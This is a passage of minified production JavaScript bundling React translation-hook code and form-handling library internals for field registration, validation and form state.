j=(D,k)=>so(k)?k:FI(k)&&so(k.defaultValue)?k.defaultValue:Array.isArray(D)?D[D.length-1]:D,R=[j,{},!1];return R.t=j,R.i18n={},R.ready=!1,R}c.options.react?.wait&&Zg(c,"DEPRECATED_OPTION","useTranslation: It seems you are still using the old wait option, you may migrate to the new useSuspense behaviour.");const u={...UI(),...c.options.react,...t},{useSuspense:d,keyPrefix:m}=u;let h=e||i||c.options?.defaultNS;h=so(h)?[h]:h||["translation"],c.reportNamespaces.addUsedNamespaces?.(h);const p=(c.isInitialized||c.initializedStoreOnce)&&h.every(j=>MI(j,c,u)),x=GI(c,t.lng||null,u.nsMode==="fallback"?h:h[0],m),g=()=>x,y=()=>t5(c,t.lng||null,u.nsMode==="fallback"?h:h[0],m),[w,S]=C.useState(g);let N=h.join();t.lng&&(N=`${t.lng}${N}`);const T=$I(N),E=C.useRef(!0);C.useEffect(()=>{const{bindI18n:j,bindI18nStore:R}=u;E.current=!0,!p&&!d&&(t.lng?iN(c,t.lng,h,()=>{E.current&&S(y)}):Jg(c,h,()=>{E.current&&S(y)})),p&&T&&T!==N&&E.current&&S(y);const D=()=>{E.current&&S(y)};return j&&c?.on(j,D),R&&c?.store.on(R,D),()=>{E.current=!1,c&&j&&j?.split(" ").forEach(k=>c.off(k,D)),R&&c&&R.split(" ").forEach(k=>c.store.off(k,D))}},[c,N]),C.useEffect(()=>{E.current&&p&&S(g)},[c,m,p]);const A=[w,c,p];if(A.t=w,A.i18n=c,A.ready=p,p||!p&&!d)return A;throw new Promise(j=>{t.lng?iN(c,t.lng,h,()=>j()):Jg(c,h,()=>j())})};function YI({i18n:e,defaultNS:t,children:n}){const s=C.useMemo(()=>({i18n:e,defaultNS:t}),[e,t]);return C.createElement(e5.Provider,{value:s},n)}var Gu=e=>e.type==="checkbox",Zi=e=>e instanceof Date,ra=e=>e==null;const n5=e=>typeof e=="object";var An=e=>!ra(e)&&!Array.isArray(e)&&n5(e)&&!Zi(e),a5=e=>An(e)&&e.target?Gu(e.target)?e.target.checked:e.target.value:e,KI=e=>e.substring(0,e.search(/\.\d+(\.|$)/))||e,s5=(e,t)=>e.has(KI(t)),XI=e=>{const t=e.constructor&&e.constructor.prototype;return An(t)&&t.hasOwnProperty("isPrototypeOf")},ky=typeof window<"u"&&typeof window.HTMLElement<"u"&&typeof document<"u";function _n(e){let t;const n=Array.isArray(e),s=typeof FileList<"u"?e instanceof FileList:!1;if(e instanceof Date)t=new Date(e);else if(!(ky&&(e instanceof Blob||s))&&(n||An(e)))if(t=n?[]:Object.create(Object.getPrototypeOf(e)),!n&&!XI(e))t=e;else for(const i in e)e.hasOwnProperty(i)&&(t[i]=_n(e[i]));else return e;return t}var Bh=e=>/^\w*$/.test(e),xn=e=>e===void 0,By=e=>Array.isArray(e)?e.filter(Boolean):[],My=e=>By(e.replace(/["|']|\]/g,"").split(/\.|\[/)),_e=(e,t,n)=>{if(!t||!An(e))return n;const s=(Bh(t)?[t]:My(t)).reduce((i,c)=>ra(i)?i:i[c],e);return xn(s)||s===e?xn(e[t])?n:e[t]:s},Ma=e=>typeof e=="boolean",Vt=(e,t,n)=>{let s=-1;const i=Bh(t)?[t]:My(t),c=i.length,u=c-1;for(;++s<c;){const d=i[s];let m=n;if(s!==u){const h=e[d];m=An(h)||Array.isArray(h)?h:isNaN(+i[s+1])?{}:[]}if(d==="__proto__"||d==="constructor"||d==="prototype")return;e[d]=m,e=e[d]}};const J0={BLUR:"blur",FOCUS_OUT:"focusout",CHANGE:"change"},ps={onBlur:"onBlur",onChange:"onChange",onSubmit:"onSubmit",onTouched:"onTouched",all:"all"},vr={max:"max",min:"min",maxLength:"maxLength",minLength:"minLength",pattern:"pattern",required:"required",validate:"validate"},r5=he.createContext(null);r5.displayName="HookFormContext";const Fy=()=>he.useContext(r5);var i5=(e,t,n,s=!0)=>{const i={defaultValues:t._defaultValues};for(const c in e)Object.defineProperty(i,c,{get:()=>{const u=c;return t._proxyFormState[u]!==ps.all&&(t._proxyFormState[u]=!s||ps.all),n&&(n[u]=!0),e[u]}});return i};const Oy=typeof window<"u"?he.useLayoutEffect:he.useEffect;function WI(e){const t=Fy(),{control:n=t.control,disabled:s,name:i,exact:c}=e||{},[u,d]=he.useState(n._formState),m=he.useRef({isDirty:!1,isLoading:!1,dirtyFields:!1,touchedFields:!1,validatingFields:!1,isValidating:!1,isValid:!1,errors:!1});return Oy(()=>n._subscribe({name:i,formState:m.current,exact:c,callback:h=>{!s&&d({...n._formState,...h})}}),[i,s,c]),he.useEffect(()=>{m.current.isValid&&n._setValid(!0)},[n]),he.useMemo(()=>i5(u,n,m.current,!1),[u,n])}var La=e=>typeof e=="string",o5=(e,t,n,s,i)=>La(e)?(s&&t.watch.add(e),_e(n,e,i)):Array.isArray(e)?e.map(c=>(s&&t.watch.add(c),_e(n,c))):(s&&(t.watchAll=!0),n),ev=e=>ra(e)||!n5(e);function Cr(e,t,n=new WeakSet){if(ev(e)||ev(t))return e===t;if(Zi(e)&&Zi(t))return e.getTime()===t.getTime();const s=Object.keys(e),i=Object.keys(t);if(s.length!==i.length)return!1;if(n.has(e)||n.has(t))return!0;n.add(e),n.add(t);for(const c of s){const u=e[c];if(!i.includes(c))return!1;if(c!=="ref"){const d=t[c];if(Zi(u)&&Zi(d)||An(u)&&An(d)||Array.isArray(u)&&Array.isArray(d)?!Cr(u,d,n):u!==d)return!1}}return!0}function QI(e){const t=Fy(),{control:n=t.control,name:s,defaultValue:i,disabled:c,exact:u,compute:d}=e||{},m=he.useRef(i),h=he.useRef(d),p=he.useRef(void 0);h.current=d;const x=he.useMemo(()=>n._getWatch(s,m.current),[n,s]),[g,y]=he.useState(h.current?h.current(x):x);return Oy(()=>n._subscribe({name:s,formState:{values:!0},exact:u,callback:w=>{if(!c){const S=o5(s,n._names,w.values||n._formValues,!1,m.current);if(h.current){const N=h.current(S);Cr(N,p.current)||(y(N),p.current=N)}else y(S)}}}),[n,c,s,u]),he.useEffect(()=>n._removeUnmounted()),g}function ZI(e){const t=Fy(),{name:n,disabled:s,control:i=t.control,shouldUnregister:c,defaultValue:u}=e,d=s5(i._names.array,n),m=he.useMemo(()=>_e(i._formValues,n,_e(i._defaultValues,n,u)),[i,n,u]),h=QI({control:i,name:n,defaultValue:m,exact:!0}),p=WI({control:i,name:n,exact:!0}),x=he.useRef(e),g=he.useRef(void 0),y=he.useRef(i.register(n,{...e.rules,value:h,...Ma(e.disabled)?{disabled:e.disabled}:{}}));x.current=e;const w=he.useMemo(()=>Object.defineProperties({},{invalid:{enumerable:!0,get:()=>!!_e(p.errors,n)},isDirty:{enumerable:!0,get:()=>!!_e(p.dirtyFields,n)},isTouched:{enumerable:!0,get:()=>!!_e(p.touchedFields,n)},isValidating:{enumerable:!0,get:()=>!!_e(p.validatingFields,n)},error:{enumerable:!0,get:()=>_e(p.errors,n)}}),[p,n]),S=he.useCallback(A=>y.current.onChange({target:{value:a5(A),name:n},type:J0.CHANGE}),[n]),N=he.useCallback(()=>y.current.onBlur({target:{value:_e(i._formValues,n),name:n},type:J0.BLUR}),[n,i._formValues]),T=he.useCallback(A=>{const j=_e(i._fields,n);j&&A&&(j._f.ref={focus:()=>A.focus&&A.focus(),select:()=>A.select&&A.select(),setCustomValidity:R=>A.setCustomValidity(R),reportValidity:()=>A.reportValidity()})},[i._fields,n]),E=he.useMemo(()=>({name:n,value:h,...Ma(s)||p.disabled?{disabled:p.disabled||s}:{},onChange:S,onBlur:N,ref:T}),[n,s,p.disabled,S,N,T,h]);return he.useEffect(()=>{const A=i._options.shouldUnregister||c,j=g.current;j&&j!==n&&!d&&i.unregister(j),i.register(n,{...x.current.rules,...Ma(x.current.disabled)?{disabled:x.current.disabled}:{}});const R=(D,k)=>{const B=_e(i._fields,D);B&&B._f&&(B._f.mount=k)};if(R(n,!0),A){const D=_n(_e(i._options.defaultValues,n,x.current.defaultValue));Vt(i._defaultValues,n,D),xn(_e(i._formValues,n))&&Vt(i._formValues,n,D)}return!d&&i.register(n),g.current=n,()=>{(d?A&&!i._state.action:A)?i.unregister(n):R(n,!1)}},[n,i,d,c]),he.useEffect(()=>{i._setDisabledField({disabled:s,name:n})},[s,n,i]),he.useMemo(()=>({field:E,formState:p,fieldState:w}),[E,p,w])}const M0=e=>e.render(ZI(e));var JI=(e,t,n,s,i)=>t?{...n[e],types:{...n[e]&&n[e].types?n[e].types:{},[s]:i||!0}}:{},su=e=>Array.isArray(e)?e:[e],oN=()=>{let e=[];return{get observers(){return e},next:i=>{for(const c of e)c.next&&c.next(i)},subscribe:i=>(e.push(i),{unsubscribe:()=>{e=e.filter(c=>c!==i)}}),unsubscribe:()=>{e=[]}}};function l5(e,t){const n={};for(const s in e)if(e.hasOwnProperty(s)){const i=e[s],c=t[s];if(i&&An(i)&&c){const u=l5(i,c);An(u)&&(n[s]=u)}else e[s]&&(n[s]=c)}return n}var xa=e=>An(e)&&!Object.keys(e).length,Ly=e=>e.type==="file",xs=e=>typeof e=="function",eh=e=>{if(!ky)return!1;const t=e?e.ownerDocument:0;return e instanceof(t&&t.defaultView?t.defaultView.HTMLElement:HTMLElement)},c5=e=>e.type==="select-multiple",Py=e=>e.type==="radio",eH=e=>Py(e)||Gu(e),Yx=e=>eh(e)&&e.isConnected;function tH(e,t){const n=t.slice(0,-1).length;let s=0;for(;s<n;)e=xn(e)?s++:e[t[s++]];return e}function nH(e){for(const t in e)if(e.hasOwnProperty(t)&&!xn(e[t]))return!1;return!0}function Nn(e,t){const n=Array.isArray(t)?t:Bh(t)?[t]:My(t),s=n.length===1?e:tH(e,n),i=n.length-1,c=n[i];return s&&delete s[c],i!==0&&(An(s)&&xa(s)||Array.isArray(s)&&nH(s))&&Nn(e,n.slice(0,-1)),e}var aH=e=>{for(const t in e)if(xs(e[t]))return!0;return!1};function u5(e){return Array.isArray(e)||An(e)&&!aH(e)}function tv(e,t={}){for(const n in e)u5(e[n])?(t[n]=Array.isArray(e[n])?[]:{},tv(e[n],t[n])):ra(e[n])||(t[n]=!0);return t}function ll(e,t,n){n||(n=tv(t));for(const s in e)u5(e[s])?xn(t)||ev(n[s])?n[s]=tv(e[s],Array.isArray(e[s])?[]:{}):ll(e[s],ra(t)?{}:t[s],n[s]):n[s]=!Cr(e[s],t[s]);return n}const lN={value:!1,isValid:!1},cN={value:!0,isValid:!0};var d5=e=>{if(Array.isArray(e)){if(e.length>1){const t=e.filter(n=>n&&n.checked&&!n.disabled).map(n=>n.value);return{value:t,isValid:!!t.length}}return e[0].checked&&!e[0].disabled?e[0].attributes&&!xn(e[0].attributes.value)?xn(e[0].value)||e[0].value===""?cN:{value:e[0].value,isValid:!0}:cN:lN}return lN},f5=(e,{valueAsNumber:t,valueAsDate:n,setValueAs:s})=>xn(e)?e:t?e===""?NaN:e&&+e:n&&La(e)?new Date(e):s?s(e):e;const uN={isValid:!1,value:null};var h5=e=>Array.isArray(e)?e.reduce((t,n)=>n&&n.checked&&!n.disabled?{isValid:!0,value:n.value}:t,uN):uN;function dN(e){const t=e.ref;return Ly(t)?t.files:Py(t)?h5(e.refs).value:c5(t)?[...t.selectedOptions].map(({value:n})=>n):Gu(t)?d5(e.refs).value:f5(xn(t.value)?e.ref.value:t.value,e)}var sH=(e,t,n,s)=>{const i={};for(const c of e){const u=_e(t,c);u&&Vt(i,c,u._f)}return{criteriaMode:n,names:[...e],fields:i,shouldUseNativeValidation:s}},th=e=>e instanceof RegExp,qc=e=>xn(e)?e:th(e)?e.source:An(e)?th(e.value)?e.value.source:e.value:e,fN=e=>({isOnSubmit:!e||e===ps.onSubmit,isOnBlur:e===ps.onBlur,isOnChange:e===ps.onChange,isOnAll:e===ps.all,isOnTouch:e===ps.onTouched});const hN="AsyncFunction";var rH=e=>!!e&&!!e.validate&&!!(xs(e.validate)&&e.validate.constructor.name===hN||An(e.validate)&&Object.values(e.validate).find(t=>t.constructor.name===hN)),iH=e=>e.mount&&(e.required||e.min||e.max||e.maxLength||e.minLength||e.pattern||e.validate),mN=(e,t,n)=>!n&&(t.watchAll||t.watch.has(e)||[...t.watch].some(s=>e.startsWith(s)&&/^\.\w+/.test(e.slice(s.length))));const ru=(e,t,n,s)=>{for(const i of n||Object.keys(e)){const c=_e(e,i);if(c){const{_f:u,...d}=c;if(u){if(u.refs&&u.refs[0]&&t(u.refs[0],i)&&!s)return!0;if(u.ref&&t(u.ref,u.name)&&!s)return!0;if(ru(d,t))break}else if(An(d)&&ru(d,t))break}}};function pN(e,t,n){const s=_e(e,n);if(s||Bh(n))return{error:s,name:n};const i=n.split(".");for(;i.length;){const c=i.join("."),u=_e(t,c),d=_e(e,c);if(u&&!Array.isArray(u)&&n!==c)return{name:n};if(d&&d.type)return{name:c,error:d};if(d&&d.root&&d.root.type)return{name:`${c}.root`,error:d.root};i.pop()}return{name:n}}var oH=(e,t,n,s)=>{n(e);const{name:i,...c}=e;return xa(c)||Object.keys(c).length>=Object.keys(t).length||Object.keys(c).find(u=>t[u]===(!s||ps.all))},lH=(e,t,n)=>!e||!t||e===t||su(e).some(s=>s&&(n?s===t:s.startsWith(t)||t.startsWith(s))),cH=(e,t,n,s,i)=>i.isOnAll?!1:!n&&i.isOnTouch?!(t||e):(n?s.isOnBlur:i.isOnBlur)?!e:(n?s.isOnChange:i.isOnChange)?e:!0,uH=(e,t)=>!By(_e(e,t)).length&&Nn(e,t),dH=(e,t,n)=>{const s=su(_e(e,n));return Vt(s,"root",t[n]),Vt(e,n,s),e};function xN(e,t,n="validate"){if(La(e)||Array.isArray(e)&&e.every(La)||Ma(e)&&!e)return{type:n,message:La(e)?e:"",ref:t}}var sl=e=>An(e)&&!th(e)?e:{value:e,message:""},gN=async(e,t,n,s,i,c)=>{const{ref:u,refs:d,required:m,maxLength:h,minLength:p,min:x,max:g,pattern:y,validate:w,name:S,valueAsNumber:N,mount:T}=e._f,E=_e(n,S);if(!T||t.has(S))return{};const A=d?d[0]:u,j=$=>{i&&A.reportValidity&&(A.setCustomValidity(Ma($)?"":$||""),A.reportValidity())},R={},D=Py(u),k=Gu(u),B=D||k,I=(N||Ly(u))&&xn(u.value)&&xn(E)||eh(u)&&u.value===""||E===""||Array.isArray(E)&&!E.length,z=JI.bind(null,S,s,R),U=($,H,W,se=vr.maxLength,M=vr.minLength)=>{const O=$?H:W;R[S]={type:$?se:M,message:O,ref:u,...z($?se:M,O)}};if(c?!Array.isArray(E)||!E.length:m&&(!B&&(I||ra(E))||Ma(E)&&!E||k&&!d5(d).isValid||D&&!h5(d).isValid)){const{value:$,message:H}=La(m)?{value:!!m,message:m}:sl(m);if($&&(R[S]={type:vr.required,message:H,ref:A,...z(vr.required,H)},!s))return j(H),R}if(!I&&(!ra(x)||!ra(g))){let $,H;const W=sl(g),se=sl(x);if(!ra(E)&&!isNaN(E)){const M=u.valueAsNumber||E&&+E;ra(W.value)||($=M>W.value),ra(se.value)||(H=M<se.value)}else{const M=u.valueAsDate||new Date(E),O=ce=>new Date(new Date().toDateString()+" "+ce),V=u.type=="time",Z=u.type=="week";La(W.value)&&E&&($=V?O(E)>O(W.value):Z?E>W.value:M>new Date(W.value)),La(se.value)&&E&&(H=V?O(E)<O(se.value):Z?E<se.value:M<new Date(se.value))}if(($||H)&&(U(!!$,W.message,se.message,vr.max,vr.min),!s))return j(R[S].message),R}if((h||p)&&!I&&(La(E)||c&&Array.isArray(E))){const $=sl(h),H=sl(p),W=!ra($.value)&&E.length>+$.value,se=!ra(H.value)&&E.length<+H.value;if((W||se)&&(U(W,$.message,H.message),!s))return j(R[S].message),R}if(y&&!I&&La(E)){const{value:$,message:H}=sl(y);if(th($)&&!E.match($)&&(R[S]={type:vr.pattern,message:H,ref:u,...z(vr.pattern,H)},!s))return j(H),R}if(w){if(xs(w)){const $=await w(E,n),H=xN($,A);if(H&&(R[S]={...H,...z(vr.validate,H.message)},!s))return j(H.message),R}else if(An(w)){let $={};for(const H in w){if(!xa($)&&!s)break;const W=xN(await w[H](E,n),A,H);W&&($={...W,...z(H,W.message)},j(W.message),s&&(R[S]=$))}if(!xa($)&&(R[S]={ref:A,...$},!s))return R}}return j(!0),R};const fH={mode:ps.onSubmit,reValidateMode:ps.onChange,shouldFocusError:!0};function hH(e={}){let t={...fH,...e},n={submitCount:0,isDirty:!1,isReady:!1,isLoading:xs(t.defaultValues),isValidating:!1,isSubmitted:!1,isSubmitting:!1,isSubmitSuccessful:!1,isValid:!1,touchedFields:{},dirtyFields:{},validatingFields:{},errors:t.errors||{},disabled:t.disabled||!1},s={},i=An(t.defaultValues)||An(t.values)?_n(t.defaultValues||t.values)||{}:{},c=t.shouldUnregister?{}:_n(i),u={action:!1,mount:!1,watch:!1},d={mount:new Set,disabled:new Set,unMount:new Set,array:new Set,watch:new Set},m,h=0;const p={isDirty:!1,dirtyFields:!1,validatingFields:!1,touchedFields:!1,isValidating:!1,isValid:!1,errors:!1};let x={...p};const g={array:oN(),state:oN()},y=t.criteriaMode===ps.all,w=G=>J=>{clearTimeout(h),h=setTimeout(G,J)},S=async G=>{if(!t.disabled&&(p.isValid||x.isValid||G)){const J=t.resolver?xa((await k()).errors):await I(s,!0);J!==n.isValid&&g.state.next({isValid:J})}},N=(G,J)=>{!t.disabled&&(p.isValidating||p.validatingFields||x.isValidating||x.validatingFields)&&((G||Array.from(d.mount)).forEach(ne=>{ne&&(J?Vt(n.validatingFields,ne,J):Nn(n.validatingFields,ne))}),g.state.next({validatingFields:n.validatingFields,isValidating:!xa(n.validatingFields)}))},T=(G,J=[],ne,Ne,be=!0,Se=!0)=>{if(Ne&&ne&&!t.disabled){if(u.action=!0,Se&&Array.isArray(_e(s,G))){const Te=ne(_e(s,G),Ne.argA,Ne.argB);be&&Vt(s,G,Te)}if(Se&&Array.isArray(_e(n.errors,G))){const Te=ne(_e(n.errors,G),Ne.argA,Ne.argB);be&&Vt(n.errors,G,Te),uH(n.errors,G)}if((p.touchedFields||x.touchedFields)&&Se&&Array.isArray(_e(n.touchedFields,G))){const Te=ne(_e(n.touchedFields,G),Ne.argA,Ne.argB);be&&Vt(n.touchedFields,G,Te)}(p.dirtyFields||x.dirtyFields)&&(n.dirtyFields=ll(i,c)),g.state.next({name:G,isDirty:U(G,J),dirtyFields:n.dirtyFields,errors:n.errors,isValid:n.isValid})}else Vt(c,G,J)},E=(G,J)=>{Vt(n.errors,G,J),g.state.next({errors:n.errors})},A=G=>{n.errors=G,g.state.next({errors:n.errors,isValid:!1})},j=(G,J,ne,Ne)=>{const be=_e(s,G);if(be){const Se=_e(c,G,xn(ne)?_e(i,G):ne);xn(Se)||Ne&&Ne.defaultChecked||J?Vt(c,G,J?Se:dN(be._f)):W(G,Se),u.mount&&S()}},R=(G,J,ne,Ne,be)=>{let Se=!1,Te=!1;const We={name:G};if(!t.disabled){if(!ne||Ne){(p.isDirty||x.isDirty)&&(Te=n.isDirty,n.isDirty=We.isDirty=U(),Se=Te!==We.isDirty);const ct=Cr(_e(i,G),J);Te=!!_e(n.dirtyFields,G),ct?Nn(n.dirtyFields,G):Vt(n.dirtyFields,G,!0),We.dirtyFields=n.dirtyFields,Se=Se||(p.dirtyFields||x.dirtyFields)&&Te!==!ct}if(ne){const ct=_e(n.touchedFields,G);ct||(Vt(n.touchedFields,G,ne),We.touchedFields=n.touchedFields,Se=Se||(p.touchedFields||x.touchedFields)&&ct!==ne)}Se&&be&&g.state.next(We)}return Se?We:{}},D=(G,J,ne,Ne)=>{const be=_e(n.errors,G),Se=(p.isValid||x.isValid)&&Ma(J)&&n.isValid!==J;if(t.delayError&&ne?(m=w(()=>E(G,ne)),m(t.delayError)):(clearTimeout(h),m=null,ne?Vt(n.errors,G,ne):Nn(n.errors,G)),(ne?!Cr(be,ne):be)||!xa(Ne)||Se){const Te={...Ne,...Se&&Ma(J)?{isValid:J}:{},errors:n.errors,name:G};n={...n,...Te},g.state.next(Te)}},k=async G=>{N(G,!0);const J=await t.resolver(c,t.context,sH(G||d.mount,s,t.criteriaMode,t.shouldUseNativeValidation));return N(G),J},B=async G=>{const{errors:J}=await k(G);if(G)for(const ne of G){const Ne=_e(J,ne);Ne?Vt(n.errors,ne,Ne):Nn(n.errors,ne)}else n.errors=J;return J},I=async(G,J,ne={valid:!0})=>{for(const Ne in G){const be=G[Ne];if(be){const{_f:Se,...Te}=be;if(Se){const We=d.array.has(Se.name),ct=be._f&&rH(be._f);ct&&p.validatingFields&&N([Se.name],!0);const Jt=await gN(be,d.disabled,c,y,t.shouldUseNativeValidation&&!J,We);if(ct&&p.validatingFields&&N([Se.name]),Jt[Se.name]&&(ne.valid=!1,J))break;!J&&(_e(Jt,Se.name)?We?dH(n.errors,Jt,Se.name):Vt(n.errors,Se.name,Jt[Se.name]):Nn(n.errors,Se.name))}!xa(Te)&&await I(Te,J,ne)}}return ne.valid},z=()=>{for(const G of d.unMount){const J=_e(s,G);J&&(J._f.refs?J._f.refs.every(ne=>!Yx(ne)):!Yx(J._f.ref))&&fe(G)}d.unMount=new Set},U=(G,J)=>!t.disabled&&(G&&J&&Vt(c,G,J),!Cr(ce(),i)),$=(G,J,ne)=>o5(G,d,{...u.mount?c:xn(J)?i:La(G)?{[G]:J}:J},ne,J),H=G=>By(_e(u.mount?c:i,G,t.shouldUnregister?_e(i,G,[]):[])),W=(G,J,ne={})=>{const Ne=_e(s,G);let be=J;if(Ne){const Se=Ne._f;Se&&(!Se.disabled&&Vt(c,G,f5(J,Se)),be=eh(Se.ref)&&ra(J)?"":J,c5(Se.ref)?[...Se.ref.options].forEach(Te=>Te.selected=be.includes(Te.value)):Se.refs?Gu(Se.ref)?Se.refs.forEach(Te=>{(!Te.defaultChecked||!Te.disabled)&&(Array.isArray(be)?Te.checked=!!be.find(We=>We===Te.value):Te.checked=be===Te.value||!!be)}):Se.refs.forEach(Te=>Te.checked=Te.value===be):Ly(Se.ref)?Se.ref.value="":(Se.ref.value=be,Se.ref.type||g.state.next({name:G,values:_n(c)})))}(ne.shouldDirty||ne.shouldTouch)&&R(G,be,ne.shouldTouch,ne.shouldDirty,!0),ne.shouldValidate&&Z(G)},se=(G,J,ne)=>{for(const Ne in J){if(!J.hasOwnProperty(Ne))return;const be=J[Ne],Se=G+"."+Ne,Te=_e(s,Se);(d.array.has(G)||An(be)||Te&&!Te._f)&&!Zi(be)?se(Se,be,ne):W(Se,be,ne)}},M=(G,J,ne={})=>{const Ne=_e(s,G),be=d.array.has(G),Se=_n(J);Vt(c,G,Se),be?(g.array.next({name:G,values:_n(c)}),(p.isDirty||p.dirtyFields||x.isDirty||x.dirtyFields)&&ne.shouldDirty&&g.state.next({name:G,dirtyFields:ll(i,c),isDirty:U(G,Se)})):Ne&&!Ne._f&&!ra(Se)?se(G,Se,ne):W(G,Se,ne),mN(G,d)&&g.state.next({...n,name:G}),g.state.next({name:u.mount?G:void 0,values:_n(c)})},O=async G=>{u.mount=!0;const J=G.target;let ne=J.name,Ne=!0;const be=_e(s,ne),Se=ct=>{Ne=Number.isNaN(ct)||Zi(ct)&&isNaN(ct.getTime())||Cr(ct,_e(c,ne,ct))},Te=fN(t.mode),We=fN(t.reValidateMode);if(be){let ct,Jt;const un=J.type?dN(be._f):a5(G),sn=G.type===J0.BLUR||G.type===J0.FOCUS_OUT,Lt=!iH(be._f)&&!t.resolver&&!_e(n.errors,ne)&&!be._f.deps||cH(sn,_e(n.touchedFields,ne),n.isSubmitted,We,Te),Yn=mN(ne,d,sn);Vt(c,ne,un),sn?(!J||!J.readOnly)&&(be._f.onBlur&&be._f.onBlur(G),m&&m(0)):be._f.onChange&&be._f.onChange(G);const Ut=R(ne,un,sn),Tn=!xa(Ut)||Yn;if(!sn&&g.state.next({name:ne,type:G.type,values:_n(c)}),Lt)return(p.isValid||x.isValid)&&(t.mode==="onBlur"?sn&&S():sn||S()),Tn&&g.state.next({name:ne,...Yn?{}:Ut});if(!sn&&Yn&&g.state.next({...n}),t.resolver){const{errors:en}=await k([ne]);if(Se(un),Ne){const Es=pN(n.errors,s,ne),Kn=pN(en,s,Es.name||ne);ct=Kn.error,ne=Kn.name,Jt=xa(en)}}else N([ne],!0),ct=(await gN(be,d.disabled,c,y,t.shouldUseNativeValidation))[ne],N([ne]),Se(un),Ne&&(ct?Jt=!1:(p.isValid||x.isValid)&&(Jt=await I(s,!0)));Ne&&(be._f.deps&&(!Array.isArray(be._f.deps)||be._f.deps.length>0)&&Z(be._f.deps),D(ne,Jt,ct,Ut))}},V=(G,J)=>{if(_e(n.errors,J)&&G.focus)return G.focus(),1},Z=async(G,J={})=>{let ne,Ne;const be=su(G);if(t.resolver){const Se=await B(xn(G)?G:be);ne=xa(Se),Ne=G?!be.some(Te=>_e(Se,Te)):ne}else G?(Ne=(await Promise.all(be.map(async Se=>{const Te=_e(s,Se);return await I(Te&&Te._f?{[Se]:Te}:Te)}))).every(Boolean),!(!Ne&&!n.isValid)&&S()):Ne=ne=await I(s);return g.state.next({...!La(G)||(p.isValid||x.isValid)&&ne!==n.isValid?{}:{name:G},...t.resolver||!G?{isValid:ne}:{},errors:n.errors}),J.shouldFocus&&!Ne&&ru(s,V,G?be:d.mount),Ne},ce=(G,J)=>{let ne={...u.mount?c:i};return J&&(ne=l5(J.dirtyFields?n.dirtyFields:n.touchedFields,ne)),xn(G)?ne:La(G)?_e(ne,G):G.map(Ne=>_e(ne,Ne))},F=(G,J)=>({invalid:!!_e((J||n).errors,G),isDirty:!!_e((J||n).dirtyFields,G),error:_e((J||n).errors,G),isValidating:!!_e(n.validatingFields,G),isTouched:!!_e((J||n).touchedFields,G)}),P=G=>{G&&su(G).forEach(J=>Nn(n.errors,J)),g.state.next({errors:G?n.errors:{}})},q=(G,J,ne)=>{const Ne=(_e(s,G,{_f:{}})._f||{}).ref,be=_e(n.errors,G)||{},{ref:Se,message:Te,type:We,...ct}=be;Vt(n.errors,G,{...ct,...J,ref:Ne}),g.state.next({name:G,errors:n.errors,isValid:!1}),ne&&ne.shouldFocus&&Ne&&Ne.focus&&Ne.focus()},Y=(G,J)=>xs(G)?g.state.subscribe({next:ne=>"values"in ne&&G($(void 0,J),ne)}):$(G,J,!0),me=G=>g.state.subscribe({next:J=>{lH(G.name,J.name,G.exact)&&oH(J,G.formState||p,Zt,G.reRenderRoot)&&G.callback({values:{...c},...n,...J,defaultValues:i})}}).unsubscribe,we=G=>(u.mount=!0,x={...x,...G.formState},me({...G,formState:x})),fe=(G,J={})=>{for(const ne of G?su(G):d.mount)d.mount.delete(ne),d.array.delete(ne),J.keepValue||(Nn(s,ne),Nn(c,ne)),!J.keepError&&Nn(n.errors,ne),!J.keepDirty&&Nn(n.dirtyFields,ne),!J.keepTouched&&Nn(n.touchedFields,ne),!J.keepIsValidating&&Nn(n.validatingFields,ne),!t.shouldUnregister&&!J.keepDefaultValue&&Nn(i,ne);g.state.next({values:_n(c)}),g.state.next({...n,...J.keepDirty?{isDirty:U()}:{}}),!J.keepIsValid&&S()},ye=({disabled:G,name:J})=>{(Ma(G)&&u.mount||G||d.disabled.has(J))&&(G?d.disabled.add(J):d.disabled.delete(J))},Oe=(G,J={})=>{let ne=_e(s,G);const Ne=Ma(J.disabled)||Ma(t.disabled);return Vt(s,G,{...ne||{},_f:{...ne&&ne._f?ne._f:{ref:{name:G}},name:G,mount:!0,...J}}),d.mount.add(G),ne?ye({disabled:Ma(J.disabled)?J.disabled:t.disabled,name:G}):j(G,!0,J.value),{...Ne?{disabled:J.disabled||t.disabled}:{},...t.progressive?{required:!!J.required,min:qc(J.min),max:qc(J.max),minLength:qc(J.minLength),maxLength:qc(J.maxLength),pattern:qc(J.pattern)}:{},name:G,onChange:O,onBlur:O,ref:be=>{if(be){Oe(G,J),ne=_e(s,G);const Se=xn(be.value)&&be.querySelectorAll&&be.querySelectorAll("input,select,textarea")[0]||be,Te=eH(Se),We=ne._f.refs||[];if(Te?We.find(ct=>ct===Se):Se===ne._f.ref)return;Vt(s,G,{_f:{...ne._f,...Te?{refs:[...We.filter(Yx),Se,...Array.isArray(_e(i,G))?[{}]:[]],ref:{type:Se.type,name:G}}:{ref:Se}}}),j(G,!1,void 0,Se)}else ne=_e(s,G,{}),ne._f&&(ne._f.mount=!1),(t.shouldUnregister||J.shouldUnregister)&&!(s5(d.array,G)&&u.action)&&d.unMount.add(G)}}},ke=()=>t.shouldFocusError&&ru(s,V,d.mount),$e=G=>{Ma(G)&&(g.state.next({disabled:G}),ru(s,(J,ne)=>{const Ne=_e(s,ne);Ne&&(J.disabled=Ne._f.disabled||G,Array.isArray(Ne._f.refs)&&Ne._f.refs.forEach(be=>{be.disabled=Ne._f.disabled||G}))},0,!1))},Xe=(G,J)=>async ne=>{let Ne;ne&&(ne.preventDefault&&ne.preventDefault(),ne.persist&&ne.persist());let be=_n(c);if(g.state.next({isSubmitting:!0}),t.resolver){const{errors:Se,values:Te}=await k();n.errors=Se,be=_n(Te)}else await I(s);if(d.disabled.size)for(const Se of d.disabled)Nn(be,Se);if(Nn(n.errors,"root"),xa(n.errors)){g.state.next({errors:{}});try{await G(be,ne)}catch(Se){Ne=Se}}else J&&await J({...n.errors},ne),ke(),setTimeout(ke);if(g.state.next({isSubmitted:!0,isSubmitting:!1,isSubmitSuccessful:xa(n.errors)&&!Ne,submitCount:n.submitCount+1,errors:n.errors}),Ne)throw Ne},pt=(G,J={})=>{_e(s,G)&&(xn(J.defaultValue)?M(G,_n(_e(i,G))):(M(G,J.defaultValue),Vt(i,G,_n(J.defaultValue))),J.keepTouched||Nn(n.touchedFields,G),J.keepDirty||(Nn(n.dirtyFields,G),n.isDirty=J.defaultValue?U(G,_n(_e(i,G))):U()),J.keepError||(Nn(n.errors,G),p.isValid&&S()),g.state.next({...n}))},Qe=(G,J={})=>{const 